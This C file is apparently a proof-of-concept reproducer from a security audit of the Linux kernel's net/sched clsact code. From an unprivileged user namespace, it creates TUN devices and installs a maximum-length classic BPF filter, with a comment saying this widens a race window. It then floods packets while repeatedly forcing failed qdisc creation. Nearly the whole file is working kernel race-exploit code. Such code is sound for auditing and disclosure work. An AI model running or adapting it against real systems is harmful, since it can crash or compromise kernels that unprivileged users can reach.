#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>

#define TUN_FALLBACK_DIR "/tmp/1328_net_sched_qdisc_core_security_audit__finding_002"
#define TUN_FALLBACK_PATH TUN_FALLBACK_DIR "/tun"

struct tc_estimator_local {
	int8_t interval;
	uint8_t ewma_log;
};

struct nl_req {
	struct nlmsghdr nlh;
	struct tcmsg tcm;
	char buf[65536];
};

struct writer_arg {
	int fd;
	int cpu;
};

static atomic_bool stop_writers;
static uint32_t nl_seq;

static void fatal(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(1);
}

static void fatal_nl(const char *what, int err)
{
	fprintf(stderr, "%s: %s\n", what, strerror(-err));
	exit(1);
}

static void write_file(const char *path, const char *value)
{
	size_t len = strlen(value);
	int fd = open(path, O_WRONLY);

	if (fd < 0)
		fatal(path);
	if (write(fd, value, len) != (ssize_t)len)
		fatal(path);
	close(fd);
}

static void setup_user_netns(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0)
		fatal("unshare(CLONE_NEWUSER)");

	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_file("/proc/self/uid_map", map);
	write_file("/proc/self/setgroups", "deny\n");
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_file("/proc/self/gid_map", map);

	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
		fatal("setresuid/setresgid");
	if (unshare(CLONE_NEWNET) < 0)
		fatal("unshare(CLONE_NEWNET)");
}

static int open_tun(void)
{
	int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC);

	if (fd >= 0)
		return fd;

	if (mkdir(TUN_FALLBACK_DIR, 0700) < 0 && errno != EEXIST)
		fatal("mkdir(TUN_FALLBACK_DIR)");
	if (mknod(TUN_FALLBACK_PATH, S_IFCHR | 0600, makedev(10, 200)) < 0 &&
	    errno != EEXIST)
		fatal("mknod(TUN_FALLBACK_PATH)");
	fd = open(TUN_FALLBACK_PATH, O_RDWR | O_CLOEXEC);
	if (fd < 0)
		fatal("open(tun)");
	return fd;
}

static int create_tun(const char *name)
{
	struct ifreq ifr = {};
	int fd = open_tun();

	ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, TUNSETIFF, &ifr) < 0)
		fatal("TUNSETIFF");
	return fd;
}

static void set_if_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		fatal("socket(AF_INET)");
	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		fatal("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		fatal("SIOCSIFFLAGS");
	close(fd);
}

static struct rtattr *addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
			      const void *data, size_t len)
{
	size_t attr_len = RTA_LENGTH(len);
	size_t new_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
	struct rtattr *rta;

	if (new_len > maxlen) {
		errno = EMSGSIZE;
		fatal("addattr");
	}
	rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = attr_len;
	if (len)
		memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = new_len;
	return rta;
}

static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
				 uint16_t type)
{
	return addattr(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}

static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
	nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}

static int rtnl_open(void)
{
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);

	if (fd < 0)
		fatal("socket(NETLINK_ROUTE)");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		fatal("bind(NETLINK_ROUTE)");
	return fd;
}

static int rtnl_ack(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
	char buf[4096];
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = {
		.msg_name = &addr,
		.msg_namelen = sizeof(addr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	nlh->nlmsg_seq = ++nl_seq;
	if (sendmsg(fd, &msg, 0) < 0)
		fatal("sendmsg");

	for (;;) {
		ssize_t len = recv(fd, buf, sizeof(buf), 0);
		struct nlmsghdr *h;

		if (len < 0)
			fatal("recv");
		for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
		     h = NLMSG_NEXT(h, len)) {
			struct nlmsgerr *err;

			if (h->nlmsg_seq != nlh->nlmsg_seq ||
			    h->nlmsg_type != NLMSG_ERROR)
				continue;
			err = NLMSG_DATA(h);
			return err->error;
		}
	}
}

static void req_init(struct nl_req *req, uint16_t type, uint16_t flags,
		     int ifindex, uint32_t handle, uint32_t parent,
		     uint32_t info)
{
	memset(req, 0, sizeof(*req));
	req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->tcm));
	req->nlh.nlmsg_type = type;
	req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
	req->tcm.tcm_family = AF_UNSPEC;
	req->tcm.tcm_ifindex = ifindex;
	req->tcm.tcm_handle = handle;
	req->tcm.tcm_parent = parent;
	req->tcm.tcm_info = info;
}

static int create_clsact(int nl, int ifindex, uint32_t block, bool bad_rate)
{
	struct tc_estimator_local est = { .interval = 4, .ewma_log = 1 };
	struct nl_req req;

	req_init(&req, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex,
		 TC_H_MAKE(TC_H_CLSACT, 0), TC_H_CLSACT, 0);
	addattr(&req.nlh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact"));
	addattr(&req.nlh, sizeof(req), TCA_INGRESS_BLOCK, &block, sizeof(block));
	if (bad_rate)
		addattr(&req.nlh, sizeof(req), TCA_RATE, &est, sizeof(est));
	return rtnl_ack(nl, &req.nlh);
}

static int install_slow_drop_filter(int nl, uint32_t block)
{
	struct sock_filter *ops;
	struct nl_req req;
	struct rtattr *opts;
	uint16_t ops_len = BPF_MAXINSNS;
	uint32_t flags = TCA_BPF_FLAG_ACT_DIRECT;
	uint32_t info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL));
	int i;

	ops = calloc(BPF_MAXINSNS, sizeof(*ops));
	if (!ops)
		fatal("calloc(cbpf)");

	/*
	 * tc_run() uses the miniq again for the drop-stat update after classify().
	 * A maximum-length classic BPF program widens the interval between the
	 * initial miniq load and that later access without needing eBPF.
	 */
	for (i = 0; i < BPF_MAXINSNS - 1; i++) {
		ops[i].code = BPF_LD | BPF_B | BPF_ABS;
		ops[i].k = 0;
	}
	ops[BPF_MAXINSNS - 1].code = BPF_RET | BPF_K;
	ops[BPF_MAXINSNS - 1].k = TC_ACT_SHOT;

	req_init(&req, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL,
		 TCM_IFINDEX_MAGIC_BLOCK, 0, block, info);
	addattr(&req.nlh, sizeof(req), TCA_KIND, "bpf", sizeof("bpf"));
	opts = nest_start(&req.nlh, sizeof(req), TCA_OPTIONS);
	addattr(&req.nlh, sizeof(req), TCA_BPF_OPS_LEN, &ops_len, sizeof(ops_len));
	addattr(&req.nlh, sizeof(req), TCA_BPF_OPS, ops,
		BPF_MAXINSNS * sizeof(*ops));
	addattr(&req.nlh, sizeof(req), TCA_BPF_FLAGS, &flags, sizeof(flags));
	nest_end(&req.nlh, opts);
	free(ops);
	return rtnl_ack(nl, &req.nlh);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		fatal("sched_setaffinity");
}

static void *packet_writer(void *opaque)
{
	static const unsigned char packet[64] = {
		0x45, 0x00, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00,
		0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01,
		0x7f, 0x00, 0x00, 0x01,
	};
	struct writer_arg *arg = opaque;

	pin_cpu(arg->cpu);
	while (!atomic_load_explicit(&stop_writers, memory_order_relaxed)) {
		ssize_t ignored = write(arg->fd, packet, sizeof(packet));

		(void)ignored;
	}
	return NULL;
}

int main(void)
{
	enum { WRITERS = 3, ATTEMPTS = 100000 };
	struct writer_arg args[WRITERS];
	pthread_t threads[WRITERS];
	uint32_t block = 1;
	unsigned int owner_ifindex, victim_ifindex;
	int owner_fd, victim_fd, nl;
	int err, i;

	setup_user_netns();
	owner_fd = create_tun("tun0");
	victim_fd = create_tun("tun1");
	set_if_up("tun0");
	set_if_up("tun1");
	owner_ifindex = if_nametoindex("tun0");
	victim_ifindex = if_nametoindex("tun1");
	if (!owner_ifindex || !victim_ifindex)
		fatal("if_nametoindex");

	nl = rtnl_open();
	err = create_clsact(nl, owner_ifindex, block, false);
	if (err)
		fatal_nl("create owner clsact", err);
	err = install_slow_drop_filter(nl, block);
	if (err)
		fatal_nl("install cBPF filter", err);

	for (i = 0; i < WRITERS; i++) {
		args[i].fd = victim_fd;
		args[i].cpu = i + 1;
		if (pthread_create(&threads[i], NULL, packet_writer, &args[i]))
			fatal("pthread_create");
	}

	pin_cpu(0);
	for (i = 0; i < ATTEMPTS; i++) {
		err = create_clsact(nl, victim_ifindex, block, true);
		if (err != -EINVAL) {
			fprintf(stderr, "failing clsact create returned %d\n", err);
			exit(1);
		}
	}

	atomic_store_explicit(&stop_writers, true, memory_order_relaxed);
	for (i = 0; i < WRITERS; i++)
		pthread_join(threads[i], NULL);
	close(nl);
	close(victim_fd);
	close(owner_fd);
	return 0;
}